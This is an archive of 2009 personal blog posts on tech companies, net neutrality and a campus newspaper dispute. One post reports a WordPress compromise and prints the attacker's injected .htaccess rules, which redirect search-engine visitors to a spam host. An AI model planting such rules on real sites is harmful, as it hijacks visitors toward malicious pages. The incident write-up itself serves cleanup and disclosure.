Kyle Brady: Blog » Expose

A List of Reasons Why Google Isn’t Evil [Expose]

Kyle Brady — Mon, 16 Nov 2009 08:10:41 +0000

There's been alot of talk recently about Google "being evil", because they have their hands in so many product arenas and have access to substantial amounts of user data, so it's time that someone pointed out why Google isn't "evil" or even becoming so.

First, look at it from Google’s perspective:

their main interest is indexing the largest amount of content possible, and doing it fast so the content’s relevant

the majority of the modern internet, everything from server to browser to protocols, is at least ten years old at the core

Google’s results are only as good as their relevance and are sorted properly, so they have a vested interest in attempting to do so

Now, look at their behaviors:

“Webmaster Tools” was arguably the first attempt by Google to make things faster/better on their own, by allowing webmasters to help Google better access sites

Chrome takes marketshare away from Internet Explorer, which is beneficial to all mankind

Javascript engine developments, like those found in Chrome, are a good thing – especially when they’re spread back to the community. JS is notoriously slow in some browsers, and even in the fastest of them can still be sluggish

the HTML standards have been bogged down in meetings for years, and have achieved next to nothing – so Google’s begun pushing things like , rather than wait for the W3C, who could take many more years to produce the same results

Google has contributed highly to languages like Python, PHP, and MySQL because of their intense usage of them – creating a language entirely is only a half step away from helping optimize pre-existing languages

wanting to augment the HTTP protocol, and presumably make it backwards compatible, is a good goal: HTTP is pretty slow at times, especially over things like 3G wireless networks. If it can be expanded to do more, or do things better, this benefits everyone

In case this isn’t easily pieced all together, here’s the gist: Google may be doing lots of things out of semi-self-interest, but people need to remember that they’re not only doing these things in the open, they’re licensing many (most? all?) of these projects so that Google isn't in total control. A new language that could be used to rewrite/replace Apache, in combination with a new web protocol, may seem dubious, but once you consider their licensing it's not.

The comparison to Microsoft and other “monopolies” is easy to refute: Microsoft participated in similar activities (IE, ActiveX, VB.Net, Windows Server, etc.), but did so either behind closed doors or with strict, proprietary licensing. The fact that Google’s opening the door to Go in the same manner that PHP or Python does is an extremely crucial differentiation, and they’re very careful about doing this for all of their potentially gamechanging structure inventions.

Now if Google were to do all of this but not distribute source code, or sue a bunch of people for using it in a way they didn’t expect or don’t appreciate, that would be entirely different. But they’re not, and they’re not likely to either – even if they don’t have control over creations like Go, they’ll be happy to see it used because, in the end, it benefits them too.

Most of Google's products can't be forced on people – they have to choose to use them, something that Microsoft’s products have never really needed, or chosen, to do.

[inspired by Rob Diana]

Wordpress, MediaTemple, and an Injection Attack [Expose]

Kyle Brady — Sun, 08 Nov 2009 00:04:45 +0000

[note: there have been significant updates on why this is occurring, but the solutions to it remain relatively the same for the moment]

Sometime in the last week, my “kyle-brady.com” account with MediaTemple was compromised via a Wordpress 2.8.5 exploit, and it caused havoc for a few days – I finally noticed it on the evening of 11/6/2009, and it was finally resolved in the afternoon of 11/7/2009.

Here’s what happened:

an IP address from Texas submitted a POST request to Wordpress that somehow uploaded a file, which extracted itself and injected a piece of Javascript eval() code to execute after the tag

a list of hundreds of URLs to assorted pages, mostly porn, appeared after the tag on all pages of the site

for content created after the attack, it somehow embedded itself inside the Wordpress content, and all links redirected to a malware site – in addition to breaking the entire page

Here’s how to fix it:

remove the eval() code from “index.php” in the root Wordpress directory

delete and recreate, through the Wordpress panel (NOT directly in the database), all infected posts

delete the .nfs* file in the root Wordpress directory

if you’re really paranoid, replace all the Wordpress files with clean source

open the root .htaccess file and remove this code

I originally thought that someone may have gained access to Wordpress, or the server itself, and modified some themes files or something Apache-level, but this obviously wasn’t the case. MediaTemple was essential in discovering both the problem and solution, even though it’s outside the realm of hosting – they’re the ones that discovered an IP in Texas made a POST request to upload a file, and they discovered exactly what was going on.

If MediaTemple had refused to help me, it would have been much more difficult to figure all of this out, since I’m not familiar enough with servers to easily run log searches, or other tools necessary for this sleuthing. But they didn’t, and one of the Support Technicians (Mike M.) actually spent a few hours in the middle of the night poking around for me, and called me at 4:30am PST with a definitive solution.

Wordpress Security has already been contacted about this issue, to hopefully help others avoid this issue in the future. Many thanks to MediaTemple, especially Mike M. and Chris K., for the unexpectedly awesome assistance.

--- --- ---

Update (11/8/2009 10:25pm PST): Thanks to Dan's discovery, the .htaccess editing has been included in the removal steps.

Update (11/12/2009 9:50pm PST): Evidence is mounting (in the comments below, the Wordpress bug ticket, and elsewhere) that while this may be a Wordpress exploit, it is appearing on other non-WP CMS installations, and may have a server-configuration component to it. Details to come.

Update (11/15/2009 1:30pm PST): MediaTemple has been ignoring me for the last few days on this issue, and I've just been hit by the same attack in the last few hours - this time on Wordpress 2.8.6, the security release that was supposed to fix this.

Update (11/15/2009 2:10pm PST): I've decided to escalate this, and wrote about it at the Inquisitr.

Update (11/16/2009 12:30pm PST): I got a length, personal email from MediaTemple yesterday, and a long phone call today about this issue - I can't say alot right now, but MediaTemple is taking ownership of this problem, and is working on it. Details to come soon.

--- --- ---

More details:

Uploaded File

named “.nfs*” in the root Wordpress directory

/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?>

Javascript Eval Code

found in “index.php” in the root Wordpress directory

Example Link

found after the tag on all pages, list of hundreds of similar URLs

blow dryer tattoo

.htaccess Code

found in the root ".htaccess file"

RewriteEngine On

RewriteOptions inherit

RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]

RewriteRule .* http://you-search.in/in.cgi?4¶meter=sf [R,L]

An Open Letter to Senator Diane Feinstein [Expose]

Kyle Brady — Fri, 30 Oct 2009 14:17:23 +0000

I recently participated in a petition website that sent out letters to the Congressmen for our individual states on the issue of Net Neutrality and its importance – I’d like to it if I remembered what site it was. One of the Senators that received the letter from my California location was Senator Diane Feinstein (D-CA), who sent me an unexpected email reply, albeit a form letter.

I don’t have a problem that she sent me a form letter, and am actually glad she acknowledged my existence – my problem is in what, exactly, she said and what that means. To that end, the following is an Open Letter to Senator Diane Feinstein…

Dear Senator Diane Feinstein,

Thank you for recognizing my existence, even if it was via a form letter – it makes me feel as if I can, as a citizen, have an effect on our modern political battlefield in the age of corporate interests and corrupt legislators.

I do, however, have a problem with your response: within the same breath, you claim to support the principles of Net Neutrality, but immediately question the need for regulation and indicate that the interests of ISPs are potentially more important than those of their customers, which just happen to be the entire population of America.

Internet Service Providers, on the whole, have long since proved they have no interest in the privacy or equal treatment of their customers, with behaviors that run the gamut from traffic filtering/shaping/blocking to warrantless wiretapping. Other utilities companies in America, whether they are private, public, or a coalition project with the government, are heavily regulated and carefully monitored so as to not disrupt the daily activities of the country – in the age of the Internet, connectivity, and an increasing dependence on all things digital, why is Internet access treated any differently than electricity, water, waste management, or various other services?

You see, Internet access has become the next modern utility service. It has crept up on the country and taken both the people and the legislature by surprise, but it has arrived at this status nonetheless. Would it be acceptable for a power company, such as PG&E, to cut off power to homes that it felt weren’t using its electricity properly, or in a manner they ethically approve of? Would it be acceptable to selectively provide water to households that only use their product in amounts less than an arbitrary and unreasonable threshold on a daily basis? Or perhaps local trash pickups should only occur when the waste management company feels that your trash has appropriate ratios of paper, plastic, and biodegradable?

The answer, quite obviously, is a resounding ‘no’.

America was founded on the principles of individual rights and freedoms, and has since grown substantially to support and enhance these initial values, but it is time to take another large step in the process of liberty: a Digital Rights and Freedoms Act must be had for the American people, lest the nation devolve into unrepentant digital battles for civil liberties.

The national bandwidth has yet to approach capacity, despite what network providers will tell you, and there is much more ‘dark fibre’ to be found and used, left over from the dot-com boom, for further capacity. The problem is that for ISPs to provide the bandwidth and speeds that they advertise to their customers, essentially anything labeled as 'broadband', they would have to distribute customers more intelligently and appropriately across networks, rather than continue their current habit of overloading – this means less profits, because of the associated network costs. To accomplish this process of overloading, they employ tactics of filtering, shaping, and blocking traffic, often citing bogus claims of “network overload” or “unacceptable traffic”.

Finally, an underlying issue that will undoubtedly arise is that of copyright – the MPAA and RIAA would love for nothing more than certain types of traffic, usually classified as Peer-to-Peer, to be blocked from all networks. The honest truth, however, is that these protocols are copyright-independent, and are often used for entirely legal purposes. Yet the ISPs use these claims to shut off customers’ access, or heavily filter it, because of the occurrence of a supposedly illegal activity. Deciding whether a P2P traffic stream is legal is severely work intensive, and not something that can be accomplished by a piece of software – traffic source (such as The Pirate Bay) is not related to its legality, filetype (such as MP3) is independent of copyright, and original source (such as Shakespeare or Nine Inch Nails) is often, and rightly, ambiguous.

The point that I’m trying to make, and that you hopefully understand, is this: Net Neutrality is neither optional nor negotiable. As an AT&T customer by default, I have experienced heavy traffic filtering and corporate lies for the last three years, and I can personally tell you that it occurs when I am doing nothing even approaching illegal, yet it interferes with my productivity and workflow. If America, as a nation, is expecting to be a competitive and connected force on the global scale in the coming years, then federal legislation must be passed in order to secure the Digital Rights and Freedoms of the American people.

A lesson learned from the last two years of banking and investment institutions’ abhorrent behaviors should be that markets absolutely will not regulate themselves in a manner aligned with proper ethics, or the betterment of their customers, when there are higher profits to be had. Comcast and AT&T are both tangible examples of ever-higher prices for ever-degrading service, and such a trend will likely only continue – it is up to Congress, along with the FCC, to ensure that it definitively does not.

The battle for Net Neutrality in America is no different than any of the prior battles for Civil Liberties, as it is about the ability of all citizens to work and live in a manner that they are fundamentally entitled to. Anything short of a complete and uncompromising suite of regulations to place what has been previously unwritten into explicit law will be perceived by a large subset of the country as a failure of Congress to both understand the fundamental issue and act on behalf of the people.

Do not let corporate interests, or the Congressmen they control, sway your opinions or influence your decision.

Sincerely,

Kyle Brady

Correspondence

From: Senator Diane Feinstein

To: Me

Date: 10/29/2009

Dear Mr. Brady:

Thank you for writing to me about open access to the Internet and network neutrality. I appreciate hearing from you.

I agree with the general principles of network neutrality that owners of the networks that provide access to the Internet should not control how consumers lawfully use that network and should not be able to discriminate against content provider access to that network.

As Congress debates changes to our telecommunications laws this year, many different proposals have been offered regarding network neutrality. The question arises whether or not action is needed to ensure unfettered access to the Internet. I believe any workable solution must balance the needs of the network, service and information providers. Please know that when legislation regarding network neutrality comes before the Senate I will be sure to keep your specific views in mind.

Again, thank you for writing. If you should have any comments or questions, I hope you will feel free to contact my Washington, DC staff at (202) 224-3841.

How MySpace Advertising Steals Your Ad Money [Expose]

Kyle Brady — Fri, 16 Oct 2009 23:43:33 +0000

On the surface, advertising on MySpace would seem like a relatively basic and fruitful enterprise: create a 728x90 banner, setup the ad, get seen by millions of users, and reap the rewards – there’s no weird custom ad decisions to make, like with Facebook. MySpace even makes it easy by using a single form to setup CPM vs. CPC, ad rates, daily/lifetime budgets, and all the other details.

However, they like to steal your money.

When I was setting up an ad for my company’s graphic design services that cater to artists/bands, I discovered the first stick in the mud: there’s a minimum daily rate, no matter what. We wanted to spend $100.00 stretched out over two months, letting the advertising system figure out when to display it, and this would not have been a problem with Google AdWords, but it’s MySpace, so you have to deal with their crap. After some tweaking, I found that they wanted a $5.00/day minimum, which would only net us 20 days – not quite the exposure we wanted. Deciding that spending a little more for longer exposure was acceptable, I setup $5.00/day for 25 days. It came back with an error message, giving complaining about the daily budget, so I clicked on “Lifetime Budget” and set it to $125.00, assuming that it would distribute the $125.00 over the 25 day campaign period.

Save. Billing. Confirm. Activate. Emails came saying it was pending, then approved, and finally active.

Imagine my surprise when I wake up to an email early the next morning saying that our account had been charged $100.35 for less than a day of activity. But instead of questioning it, I naively assumed that they were precharging our account for some reason, and let it go. Fast forward another day, and an email comes saying we’ve been charged $53.65 – now I’m pissed. I pause the campaign, fire off an email to Ad Support, and investigate on my own.

When I viewed the campaign’s settings… surprise! We had a $125.00/day budget, despite what my initial settings which were twice verified after activating the campaign. And there’s another $15.00 that they want me to pay for activity not-yet-billed, since the campaign’s been paused.

It took a few hours, but I received a vanilla response that treated me like a halfway literate child, stating the obvious: the daily budget was set to $125.00/day, and we were being charged according to our ad behaviors and settings. Naturally, I was even more pissed, and responded to let them know that I believed it was a technical error or glitch and that we wanted a refund.

Well, if you’ve ever dealt with a company’s billing or sales department before, you should recognize their response: it wasn’t a technical error, it was my fault, and they won’t give us a refund, but they’ll give us a $50.00 campaign credit. My reply was less than friendly, because, at this point, I feel like I’m dealing with mob bosses, and demand a larger campaign credit. This time they take a full 16 hours to respond, only to say that $50.00 was all they can offer, and then attempt to end the conversation. There has been no credit to the account.

For a small company with a very small advertising budget, these events are detrimental – we decided, for the first time, to advertise our services in a grand fashion, and MySpace spent more money than we had ever intended… in the first two days. A total of $169.00 has been billed to us by MySpace Advertising - $44.00 more than what we had set as a Lifetime Budget. And it’s been wasted over a brief <48 hours exposure that netted zero results.

Even with a $50 credit, which is only a few days’ worth of advertising, we’ve lost $119.00 to corporate theft and customer support evasion. No more advertising for us.

Thanks, MySpace. You’ve been an entertaining asshole for the last few days – would you like my lunch money? Or maybe the keys to my car? Actually, I don’t even need my girlfriend, so why don’t you go out with her?

I hope you die in a fire.

--- --- ---

Update (10/18/2009 4:20pm PST): I've been working with Steve Wilcox, MySpace's Marketing Director, since within an hour of posting this on Friday, and we've reached a solution after a few rounds of phone- and email-tag.

We received a full apology and a credit for the full amount charged, in addition to receiving a "good faith credit" for the amount we wanted to spend on advertising in the first place. The end result is that our advertising budget has now essentially doubled, and we're going to give it another try - hopefully with better results.

As of right now, we're very happy with the way this has been handled, as well as the outcome.

--- --- ---

Correspondence

From: Me

To: MySpace Advertising

Date: 10/15/2009

We set up the campaign very carefully to be $5/day, lifetime budget of $125 for 25 days.

How did this get changed to $125/day?

We've now been charged, in two days, more than we had ever intended to spend. Not only is this illegal, it's outrageous, since I have emails showing the setup of our campaign as such.

Please refund our money and fix this ASAP.

From: MySpace Advertising

To: Me

Date: 10/15/2009 12:20pm PST

Hello,

Whenever you create a new campaign, you will be asked to set a daily or lifetime spending limit for your campaign. You cannot have both a daily & lifetime budget at the same time. It's either a daily budget or a lifetime budget.

When the campaign was created it was setup with a Daily Budget of $125.00 which is why your campaign spent $125 in 1 day.

If your goal is to only spend $5 per day then you want to create a Daily budget of $5.

If your goal is to only spend $125 throughout the entire campaign then you want to create a Lifetime budget of $125.

Thank you for contacting MySpace MyAds.

Thank you,
MySpace.com

From: Me

To: MySpace Advertising

Date: 10/15/2009 2:10pm PST

It most certainly was not. I selected "Lifetime Budget", and input $125.00.

Your code-level error is not my responsibility, and I demand a refund, or at least gratis advertising for the remainder and parameters of what should have been our campaign.

From: MySpace Advertising

To: Me

Date: 10/15/2009 3:23pm PST

Our records show this was not a technical error. When creating the campaign you choose a daily budget of $125 instead of a lifetime budget.

MySpace MyAds is a Self Service platform and you are responsible for managing your campaigns.

We can offer you’re a $50 credit towards your campaigns however MySpace will not refund the $125 charge.

Thank you for contacting MySpace MyAds

From: Me

To: MySpace Advertising

Date: 10/15/2009 3:39pm PST

It was an error. You're honestly going to tell a customer of yours, one that just unexpectedly paid you over a hundred dollars, that they're wrong?

Do you really think I'd be bringing this issue up if I wasn't surprised at the situation results? And, given the nature of the company and what we do, do you really think I'm technically incompetent enough to have made such a dumb human error? The answer is no.

A $50 credit is a good start, but $100 would be more palatable, given how that is approximately how much we spent on the first day of our campaign, rather than almost the entire 25 day set.

From: MySpace Advertising

To: Me

Date: 10/16/2009 9:53am PST

Unfortunately a $50 credit is all we can offer.

Thank you for contacting MySpace MyAds.

From: Me

To: MySpace Advertising

Date: 10/16/2009 2:40pm PST

And where is this credit?

You guys fail once again.

The Insulting Attack on New Media [Expose]

Kyle Brady — Fri, 09 Oct 2009 07:05:24 +0000

New Media has been in the process of awakening for approximately a decade, existing as a term that refers to bloggers, vloggers, podcasters, and others that produce material with an eye towards journalism. The death of Old Media, at the hands of its newer brethren, has been predicted since the beginning, with many hoping that the new digital forums would replace the large institutions that have grown over the last century.

It should come as no surprise then that as Old Media has stumbled and begun to fall, New Media has come under attack from those on their way down. Despite the animosity and vicious hatred prevalent within their group, there remains a few bastions of intelligence, serious journalism, and integrity – organizations such as NPR, the BBC, PBS, APM, and more have given hope to those that have despaired over news organizations' chosen interest in ratings and entertainment over truly informing or educating their audience.

Attacking New Media is not a new activity – the sneers and jeers started almost as soon as the ancestors of the modern tools appeared. The common thread among the complaints from so-called legitimate journalists include information verification methods, author credentials, "echo chamber" behaviors, hidden agendas, bias, and a litany of other issues related to ethics and professionalism, but it’s important to note that these very problems known to exist within portions New Media are in no way limited to blogging or podcasts – newspapers, “legitimate” journalists, and news stations have all fallen prey to the same symptoms that they’re complaining about, and not necessarily recently. As the financing of what used to be journalism dwindles, those still in Old Media have been forced to move faster and outside their realm of experience and knowledge, resulting in press release regurgitation, questionable data, and the parading of entertainment as news.

Many of these Old Media organizations have embraced the methodologies of New Media to garner new audiences, and have achieved great success in some cases, such as NPR. But regardless of their delivery mechanisms or digital behaviors, their greater budget, name recognition, and other epicurean characteristics does not give Old Media a licensed pulpit from which to preach – they should have to continually earn the trust and respect of their audience, the same as anyone else. This is something they truly do not believe.

The BBC recently revealed, in a very public manner, the bias Old Media holds against its newer rivals that has been known for years by those in New Media, but has largely been decried. Through a two-part documentary series investigating “citizen journalism” [Part 1] [Part 2], Michael Buerk leads a disgustingly insulting parade intended to smear his internet-based counterparts, using the recent Iran election protests as a focal point. Through a series of loaded questions, interview interruptions, and a other underhanded, classic propaganda techniques, Buerk manages to appear unbiased to those that don’t truly understand the breadth and scope of the situation. An unaware listener would, after listening to this "investigative" series, assume that New Media is less reliable, factual, and valuable than Old Media outlets such as the BBC - which, of course, is patently untrue. Ironically, both the BBC and Buerk declined to comment, by ignoring any the request itself.

No-one is contesting that New Media varies in quality depending on the source and topic – but this is no different than Old Media. The Washington Post, CNN, FOX “News”, the Associated Press, and numerous others have well-known public biases that taint the very issues they should be nakedly communicating to their audience. NPR is well known for being extraordinarily unbiased, and yet they are one of the least popular news organizations within America, with FOX “News” leading the cable news network charge into intellectual illiteracy.

At worst, New Media is no less reliable for factual news than Glenn Beck or Rush Limbaugh, where raving lunatics find a public soapbox to brainwash willing and overeager masses. However, the beauty is in the brilliance that can be found in New Media: TechDirt examines old-world paradigms of copyright and intellectual property, DailyKos exposes lies and deceit within politics of any American party, the Inquisitr serves as an infotainment clearinghouse, Gawker is known for publicizing scandals of public figures, and the list goes on, almost endlessly, for every niche or audience imaginable. These examples are organizations based on the textual blogging format, but audio, video, and short-form text New Media institutions exist, and may in fact represent large swaths of information delivery’s future.

It is high time for Old Media to stop complaining about their demise, while behaving in a two-faced unethical manner, and embrace the digital future that is so obviously coming. Journalism and the dissemination of pure news are essential to the democratic lifestyle, so the process must continue. However, it is insulting to insinuate that intelligent people who invest substantial time and effort in producing valuable media-oriented products are somehow of lesser worth and importance than someone who spent four years partying and barely passing classes at an unknown college to achieve the golden ticket that is a Bachelors of Arts in Journalism.

AT&T’s Local Monopoly Continues Unabated [Expose]

Kyle Brady — Tue, 22 Sep 2009 07:05:54 +0000

I’ve already written extensively about how bad AT&T’s Internet Service is (background: [1] [2], offsite: [1] [2]), but new developments have prompted me to add to the already-epic saga…

After the blocking of 4chan by AT&T earlier this summer and their continued filtering/throttling of my traffic, I decided it was time to find a new ISP. I’d had Comcast before and left for reasons of ethics and principle, and I wasn’t going back. Verizon and other major providers are not available in the South Bay area for some reason – so I went hunting for local providers that probably wouldn’t have the legal departments necessary for the corporate doublespeak of filtering/throttling customers.

But a problem came up pretty quickly: while there are a number of local ISPs for the South Bay, none of them were feasible. The only company that uses ADSL for residential purposes is north of San Francisco (too far), and the rest, both cable and DSL, were more than happy to offer their services, so long as I had an AT&T phone account.

So, just to clarify: if I wanted internet service that wasn’t from AT&T (who I currently have ADSL with, no phone number necessary), I’d have to get phone service (at $14.95/mth) with the very same company I’m trying to leave. Either that or become a customer of Comcast again, for $33/mth that would double after a few months to $66/mth – more than I pay now for “Elite PRO DSL” ($45/mth) and with worse speeds.

I was pretty angry, and set out to find out why I had to have AT&T phone service to have plans with these local ISPs – even those that were providing “cable” or “fusion” network connections. The answer was pretty simple, and I didn’t have to do much digging: AT&T owns almost all of the phone lines in the South Bay area. They don’t rent them, monitor them, or manage them, but own them, and for consumer traffic to cross their lines they require a phone service account.

There’s a number of issues with this, but the first that comes to mind is pretty basic: why is Verizon nowhere to be found within the Bay Area? Their FiOS program is exploding to the point that they’re giving up the landline phone service business, and yet the company that is known for providing the fastest, best, most reliable next-generation broadband services cannot be found within Silicon Valley. How is that a good business decision? As a company, Verizon would stand to easily make millions from the countless rich nerds that populate the Bay Area who would love to have fiber-to-the-home. But even if Verizon seems to think it’s in their best interest to ignore Silicon Valley, where is Time Warner? Or Earthlink? Or even Covad, with a residential offering? These large companies are the kinds of corporate behemoths that would force AT&T to make concessions, so consumers wouldn’t have to have dual accounts.

The second major issue is pretty obvious as well: why does AT&T own all the phone lines in the Bay Area? This is obviously not something that’s going to benefit the general public, and doesn’t seem like the sort of power governments (local, state, and federal) would want to give to a breakup child of the Bell monopoly. In many areas, phone lines are owned by the state, and companies rent or “pay to manage” these lines – the only time a line is owned by a company is when it’s long-haul or a line to a residence. But California chose, in all its magnificence, to let AT&T own the phone lines and essentially stifle local competition.

Finally, the other, and most important, issue is one of monopoly. The sort of de facto local monopoly that AT&T has on DSL and landline phone service in the South Bay is not a unique case, similar to how Comcast is the only provider of cable. All across the country, consumers have no choice when they want DSL, phone, or cable service, and instead have to use the only offering available – this results in higher prices, corporate indifference, and unnecessary corporate growth. At a minimum, there should be two major offerings for all services in any given urban/suburban area, which the FCC seems to realize with the cap of Comcast’s nationwide customer base.

But, somehow, they have ignored the local monopolies that develop either out of coincidence, intent, or collusion - even while customers continue to be ignored, lied to, and overall screwed. Does anyone really wonder why both AT&T and Comcast feel that they can lie to the FCC - about numerous issues, on varied occasions - and get away with it? When you have a large customer base that will never significantly shrink, you can depend on certain levels of income year after year – certainly more than enough to pay for litigation and the FCC’s fines.

I’m disgusted that I’ve been put in such a corner, but I truly have no choice. Comcast is the one true Antichrist, so I will not be their customer again – and yet AT&T is the Antichrist’s First Disciple. When faced with the choice of a $15/mth phone line plus $40/mth internet service, or $45/mth internet service, which option does a poor college student take? The least expensive one, of course.

Which in this case means I’m continuing to support the very company that hates my existence, proven by the double-billing, lying, traffic filtering, and overall poor customer service I’ve received since I became their customer two years ago.

What a load of crap.

The Spartan Daily: A Followup, with Closure [Expose]

Kyle Brady — Tue, 08 Sep 2009 18:24:10 +0000

follow the update thread for the latest chapter in the saga

This morning I had a meeting with the Dean of Students for the College of Applied Sciences and Arts at SJSU (Dr. Charles Bullock), regarding the recent “Spartan Daily Debacle” where the School Director of Journalism and Mass Communications (Dr. William Briggs) and a Faculty Advisor for the school paper (Mack Lundstrom).

I feel as if the meeting was an overall success, and the issue can now be considered closed - the general outline and outcome from this morning is as follows.

Meeting’s Intent

I originally contacted the Vice President for Student Affairs, Dr. Veril Phillips, requesting a meeting with either him or the school’s President, Dr. Whitmore. I received a response a few days later indicating that an investigation was ongoing as to who could best suit my needs, and the following day a scheduling request was made via email for a meeting between myself and the other members that were present this morning.

My intent was twofold: to make the Administration aware, at the highest levels, of the situation, as well as register my concerns – which, while stated elsewhere, were essentially:

the handling of the situation by the Spartan Daily, and its ethical implications

the resultant public image I may have as a “troublemaker”

the unnecessary and unprofessional response I received from Hank Drew, the paper’s Editor

In addition to registering my concerns and creating awareness, I wanted an official apology from Hank Drew for his explosive reaction to my criticisms.

Discussion Topics

We covered my intent and concerns, followed by comments from Dr. Bullock, Dr. Briggs, and Professor Lundstrom. Over the course of the discussion, Professor Lundstrom admitted to the mishandling, on multiple counts, of the issue, although it was purportedly unintentional – the photo miscaptioning (and mislabeling as a “photo” instead of a “photo illustration”), shortened article, and the editing of my Editorial Letter were all mangled in one form or another, and could have been handled more appropriately. On this, we agreed.

Both Professor Lundstrom and Dr. Briggs stressed that this was not an issue of the Administration leaning on the paper, but just an unfortunate series of events that led to the now-obvious conclusion. The paper is apparently somewhere in-between an outside publication and an in-house one, and strives for journalistic integrity and independence while having a faculty advising staff that doesn’t interfere or set mandates and receives funding from the university. I assumed as much, but it's nice to have this made clear.

Dr. Briggs commented that he partially sees this as my non-appreciation of the story as a “source unhappy with the final article”, but as Professor Lundstrom agreed with my concerns and this is not my first appearance in the public eye by another’s hand, this isn’t the case.

We discussed how the “Beeson Debacle” is still ongoing, as I’m readying an offensive to his actions this semester, and that the paper would potentially be very interested in a future story after the forthcoming battle is resolved, or at least has a temporary endpoint.

Finally, Dr. Bullock agreed that my concerns were sizeable and legitimate, and that the whole string of events was unfortunate – the President, Vice President, and Provost of SJSU were apparently highly interested in the outcome of this meeting as well.

Outcomes

The outcomes of this meeting were pretty clear, despite no comment on an apology from Hank Drew:

The Spartan Daily did not intend to slant the story, and they are apologetic for the mistakes made throughout the process.

My Editorial Letter will be published in full, unedited, on the Daily’s website – including the links and contact information that they originally, conveniently omitted.

My efforts to call out the paper on potentially shady actions, as well as speak out in my public defense, were expressly appreciated by Professor Lundstrom, further commenting that I might have a journalistic future should I desire it.

The Daily is interested in hearing further on the progress of my attempts at a defense of student’s rights.

The University’s President, Vice President, Provost, and other appropriate individuals within the Administration will be made aware of these events and the actions, as well as missteps, that took place by parties involved.

I appreciate the time that the three of them took to meet with me and address my concerns, and I consider the situation largely closed, pending further mishandling of similar Administration-related issues by the Spartan Daily.

Hank Drew: a written apology would go far in rectifying your unprofessional and unnecessarily vicious reaction via email to criticisms of the paper, where you hold the position of Editor, that have since been verified as valid and legitimate.

Emails

To: Dr. Phillips

From: Me

Date: 8/28/2009

Hi Dr. Phillips,

I'd like to make an appointment to talk with either you or Dr. Whitmore, regarding the slander and vilification I received over the last week at the hands of the Spartan Daily, across many publications.

If you'd like some background on what I'm talking about, please read my detailed description of the original issue (from Monday 8/25/2009) and the follow-up disaster that occurred on Thursday (8/27/2009).

Thanks, I look forward to hearing from you.

The Spartan Daily Debacle Update Thread [Expose]

Kyle Brady — Fri, 28 Aug 2009 20:45:34 +0000

last updated 9/8/2009 12:20pm PST

This post will serve as a helpful thread of updates on the "Beeson Debacle" and The Spartan Daily's failed journalistic endeavors.

Dr. Beeson tried to fail me in Spring 2009 for posting code solutions online after the due-dates, and was prevented from doing so. [6/10/2009]

SJSU's Spartan Daily reported on this, to much journalistic failure. [8/26/2009]

The Spartan Daily edited my letter for publishing, and managed to get facts wrong once again - plus a hilarious email from the paper's Editor. [8/28/2009]

The Administration has been met regarding this issue, and is considered closed by both parties. [9/8/2009]

SJSU’s Continued Struggles in Unbiased Journalism [Expose]

Kyle Brady — Fri, 28 Aug 2009 20:45:11 +0000

follow the update thread for the latest chapter in the saga

In my recent dealings with SJSU's Spartan Daily, who were interested in reporting my "Beeson Debacle" story and managed to create a huge mass of journalistic failings, I have discovered just how ethically challenged the publication truly is. And now, it's even worse.

I had been told by Suzanne, the author of the original article, that they would publish a response letter and suggested I post online on my own as well. I did both, and sent the letter via email to Suzanne for publication.

Now, as can be seen from this email, I very clearly, and peacefully, illustrate my point to the readers and invite them to either contact me or investigate the issue on their own, courtesy of this site.

However, I received an email from a man named Hank Drew, apparently the Editor of The Spartan Daily, stating that they couldn't print my letter if I didn't give them permission to edit - surprise! Naturally, I didn't like the idea, but needed a rebuttal to be printed, so I gave permission to edit for length, but not content.

I received no response, and then saw the letter they printed.

[Original PDF - Page 7]

click for larger

The text of their printed version, in case you can't access the files above, is as follows:

Letter to the Editor
This letter is in reponse to “Who owns your homework?” that was published on Aug. 24.

In the recent “Who owns your homework?” article from 8/24/2009, I find the manner in which I was portrayed, in addition to the issue itself, appalling.

Momentarily discarding the slant of the piece that chose to vilify me as a mere troublemaker, the argument itself is a highly important, relevant issue regarding copyright and digital freedoms for both students at large and those pursuing programming-oriented degrees that was all but ignored in favor of misinformation.

The issues of a student’s rights to their own homework do not arise in other disciplines, even when they typically reuse assignments as part of a portfolio or for other public displays - most especially Art students, English majors, and promising Business candidates. But a handful of Professors within Computer Science departments worldwide seem to
feel exempt from the general academic policies on undergraduate student works of creation.

Most worrisome, however, is the choice by the “Daily” to give the most voice and credence to the university itself while implying that the issue is still a matter of debate, with SJSU standing firmly on the side of righteousness. This is simply not true, and supporting evidence can be easily found outside the university’s propaganda machine.

Portraying this highly controversial university issue in the favor of the institution is absolutely, ethically wrong, and so is the article’s factual misrepresentation of the issue at large.

No matter the financier of a journalistic endeavor, it is generally expected that some modicum of integrity is retained independent of the funding’s source, and SJSU’s “Spartan Daily” has failed to uphold this simple ideal in a horribly epic fashion.

Kyle Brady
Student, Computer Engineering Major

When analyzing the differences between the two letters, a few things become obvious:

It was edited for content, not length.

Once again, any contact information or invitations for curious readers to investigate this issue for themselves has been removed.

Proving again that The Spartan Daily is not the pinnacle of journalistic evidence, they managed to claim me as a Computer Engineering student, rather than my true Computer Science status.

I sent both Hank and Suzanne a frustrated email that expressed as much, but my concerns from the original article still remain: The Spartan Daily cannot accomplish, at least in terms of this issue or me, a single instance of competence that results in unbiased, unedited, or even factual information being distributed via their publication.

I received an email from Hank in response, but he rather ironically demanded it be private - so rather than publishing the email as a whole, I've provided a list of quotes and summaries, along with brief responses where appropriate.

As is easy to see, his email was more-or-less uncalled for, and I responded to it in a similar tone and fashion. I mention in closing that it's ironic for him to demand I not publish his emails since my own demand for my letter to be published unedited was so swiftly denied, and my follow-up demand to have it edited only for content was deftly ignored.

The saga is far from over, but it's apparent that I hit a nerve with more than one individual - maybe because there's a nugget of truth in all this?

Emails

From: Me

To: Suzanne

Date: 8/25/2009 3:28pm PST

I decided I'd [send] this to you early so you can print it for tomorrow. Do not edit, change, modify, etc. from its current form.

The link I include will not work until after Midnight tonight, so do not remove it because you can't find the page.

Response letter for printing:

